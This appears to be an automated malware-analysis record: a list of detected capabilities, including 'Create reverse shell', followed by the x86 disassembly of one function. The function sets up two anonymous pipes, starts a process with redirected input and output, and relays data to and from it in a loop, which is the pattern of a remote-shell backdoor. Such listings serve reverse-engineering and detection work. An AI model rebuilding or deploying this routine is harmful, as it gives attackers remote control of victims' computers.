Function at 0x405042
Capabilities:
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Create reverse shell
Create two anonymous pipes
Execute shell command and capture output
Read file on windows
Read pipe
Terminate process
Write and execute a file
Write file on windows
Write pipe

Disassembly:
mov eax, dword fs:[0x2c]
sub esp, 0x44
push ebx
push ebp
push esi
push edi
mov edi, dword [eax]
or esi, 0xffffffff
mov eax, dword [0x475cf0]
xor ebx, ebx
cmp eax, dword [edi + 4]
jle 0x405094
mov ebp, 0x475cf0
push ebp
call fcn.00433519
pop ecx
cmp dword [0x475cf0], esi
jne 0x405094
push ebx
mov ecx, 0x475c50
call fcn.004040bb
push 0x456d3a
call fcn.004338a5
pop ecx
push ebp
call fcn.004334cf
pop ecx
mov eax, dword [0x475cd0]
cmp eax, dword [edi + 4]
jle 0x4050d1
mov edi, 0x475cd0
push edi
call fcn.00433519
pop ecx
cmp dword [0x475cd0], esi
jne 0x4050d1
mov ecx, 0x475cf8
call fcn.00401faa
push 0x456d30
call fcn.004338a5
pop ecx
push edi
call fcn.004334cf
pop ecx
lea ecx, [esp + 0x20]
call fcn.00401faa
mov ebp, 0x473f98
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esp + 0x14], ebx
cmp byte [0x471b3c], bl
jne 0x405251
mov edx, 0x465558
mov ecx, ebp
call fcn.00405422
test al, al
je 0x405245
push 0x465560
call fcn.0043ac1a
pop ecx
mov ebp, 0x475cf8
push eax
mov ecx, ebp
call fcn.0040541d
push 0x46556c
mov ecx, ebp
call fcn.00404ddc
mov esi, dword [sym.imp.KERNEL32.dll_CreatePipe]
mov ebp, 0x475bf8
push ebx
push ebp
push 0x475cd4
push 0x475cec
mov dword [0x475bf8], 0xc
mov dword [0x475c00], 1
mov dword [0x475bfc], ebx
call esi
test eax, eax
je 0x4053f9
push ebx
push ebp
push 0x475cf4
push 0x475cd8
call esi
test eax, eax
je 0x4053f9
push 0x44
pop esi
push esi
push ebx
mov ebp, 0x475c08
push ebp
call fcn.00436050
add esp, 0xc
mov dword [0x475c08], esi
xor eax, eax
mov dword [0x475c34], 0x101
mov word [0x475c38], ax
mov ecx, 0x475cf8
mov eax, dword [0x475cec]
push 0x475cdc
mov dword [0x475c40], eax
mov eax, dword [0x475cf4]
push ebp
mov dword [0x475c44], eax
mov dword [0x475c48], eax
call fcn.00401e8f
push eax
push ebx
push ebx
push 1
push ebx
mov ebp, 0x473f98
push ebx
mov ecx, ebp
call fcn.00401e8f
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
mov ecx, ebp
push 0x465554
setne byte [0x471b3c]
call fcn.0040541d
mov esi, 0x475c50
mov byte [0x471b3d], 1
mov ecx, esi
call fcn.004041f1
push ecx
mov ecx, esi
call fcn.0040428c
sub esp, 0x18
lea eax, [esp + 0x70]
mov ecx, esp
push eax
call fcn.00401fbd
push 0x93
mov ecx, esi
call fcn.00404468
push 0x12c
mov esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [0x471b3c], bl
je 0x4053d7
push ebx
lea eax, [esp + 0x1c]
mov dword [esp + 0x1c], ebx
push eax
push ebx
push ebx
push ebx
push dword [0x475cd8]
call dword [sym.imp.KERNEL32.dll_PeekNamedPipe]
cmp dword [esp + 0x18], ebx
jbe 0x405321
push dword [esp + 0x18]
call fcn.0043a88c
pop ecx
push ebx
mov ebp, eax
lea eax, [esp + 0x20]
push eax
push dword [esp + 0x20]
push ebp
push dword [0x475cd8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
cmp dword [esp + 0x1c], ebx
jbe 0x405313
cmp dword [esp + 0x14], ebx
jbe 0x4052dd
push dword [esp + 0x14]
lea ecx, [esp + 0x24]
call fcn.00401e8f
push eax
push ebp
call fcn.0043a8a0
add esp, 0xc
test eax, eax
jne 0x4052dd
push ebp
lea ecx, [esp + 0x3c]
call fcn.00401f66
mov eax, dword [esp + 0x1c]
sub esp, 0x18
sub eax, dword [esp + 0x2c]
mov ecx, esp
push ecx
push eax
push dword [esp + 0x34]
jmp 0x4052f2
push ebp
lea ecx, [esp + 0x3c]
call fcn.00401f66
sub esp, 0x18
mov ecx, esp
push ecx
push dword [esp + 0x38]
push ebx
lea eax, [esp + 0x5c]
push eax
call fcn.00403c30
push 0x62
mov ecx, 0x475c50
call fcn.00404468
lea ecx, [esp + 0x38]
mov esi, eax
call fcn.00401eea
push ebp
call fcn.0043a887
pop ecx
mov ebp, 0x473f98
jmp 0x40533e
sub esp, 0x18
mov ecx, esp
push 0x465554
call fcn.00401f66
push 0x62
mov ecx, 0x475c50
call fcn.00404468
mov esi, eax
movzx eax, byte [0x471b3d]
xor ecx, ecx
test esi, esi
cmovle eax, ecx
mov ecx, ebp
mov byte [0x471b3d], al
call fcn.004022f8
test eax, eax
je 0x4053a2
push 0x465570
mov ecx, ebp
call fcn.00404ddc
push ebp
lea ecx, [esp + 0x24]
call fcn.00401ebd
push ebx
lea eax, [esp + 0x18]
mov ecx, ebp
push eax
call fcn.004022f8
push eax
mov ecx, ebp
call fcn.00401e8f
push eax
push dword [0x475cd4]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0x465554
mov ecx, ebp
call fcn.0040541d
jmp 0x4053a6
mov dword [esp + 0x14], ebx
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [0x471b3d], bl
jne 0x405251
push ebx
push dword [0x475cdc]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push dword [0x475ce0]
call edi
push dword [0x475cdc]
call edi
mov ecx, 0x475c50
call fcn.004047eb
push dword [0x475cd8]
call edi
push dword [0x475cf4]
call edi
mov byte [0x471b3c], bl
mov bl, 1
lea ecx, [esp + 0x20]
call fcn.00401eea
lea ecx, [esp + 0x58]
call fcn.00401eea
pop edi
pop esi
pop ebp
mov al, bl
pop ebx
add esp, 0x44
ret